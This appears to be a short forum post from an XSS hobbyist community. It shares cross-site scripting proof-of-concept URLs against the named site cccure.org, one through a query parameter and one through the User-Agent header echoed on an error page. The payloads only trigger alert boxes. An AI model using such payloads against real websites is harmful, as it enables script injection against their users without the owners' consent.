Here's one I enjoyed.
I was searching for a specific post in this thread until I came across this one:
http://cccure.org/modules.php?myh_op=show_all%3Cscript%3Ealert(2)%3C/script%3E (well... it was something like that). That flaw has been fixed and they now have an error page. That error page has the user agent printed on it, using the flash and IE thing that was written about ages ago we can once again abuse this.
http://www.whiteacid.org/misc/xss_headers.php?xss_target=http://cccure.org/modules.php?myh_op=show_all<script%3Ealert(2)%3C/script%3E&User-agent=<script>alert(1)</script>
Don't forget our IRC: irc://irc.irchighway.net/#slackers
-
WhiteAcid - your friendly, very lazy, web developer